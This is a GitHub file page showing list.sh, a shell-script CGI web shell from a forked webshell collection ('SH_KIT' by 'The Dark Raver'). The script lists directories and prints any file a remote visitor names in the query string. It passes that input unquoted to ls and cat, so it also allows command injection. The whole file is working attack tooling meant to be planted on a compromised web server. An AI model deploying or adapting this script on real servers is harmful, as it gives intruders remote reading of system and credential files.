forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
list.sh
47 lines (42 loc) · 817 Bytes
/
list.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/bin/sh
#
# SH_KIT
#
# list.sh = Directory & File Listing
#
# by: The Dark Raver
# modified: 16/12/2005
#
echo Content-Type: text/html
echo
if [ "$QUERY_STRING" != "" ]
then
echo PATH: $QUERY_STRING "<br><hr>"
echo `ls $QUERY_STRING` > /tmp/test
else
echo PATH: / "<br><hr>"
echo > /tmp/test
QUERY_STRING="/"
root="1"
fi
out=`grep "/" /tmp/test`
if [ "$out" != "" ]
then
echo FICHERO: $QUERY_STRING
echo "<hr><pre>"
cat $QUERY_STRING
else
if [ "$root" != "1" ]
then
echo "( ) <a href=?"$QUERY_STRING"/..>".."</a><br>"
fi
for i in `ls $QUERY_STRING`
do
if [ "$root" == "1" ]
then
echo "( ) <a href=?/"$i">"$i"</a><br>"
else
echo "( ) <a href=?"$QUERY_STRING"/"$i">"$i"</a><br>"
fi
done
fi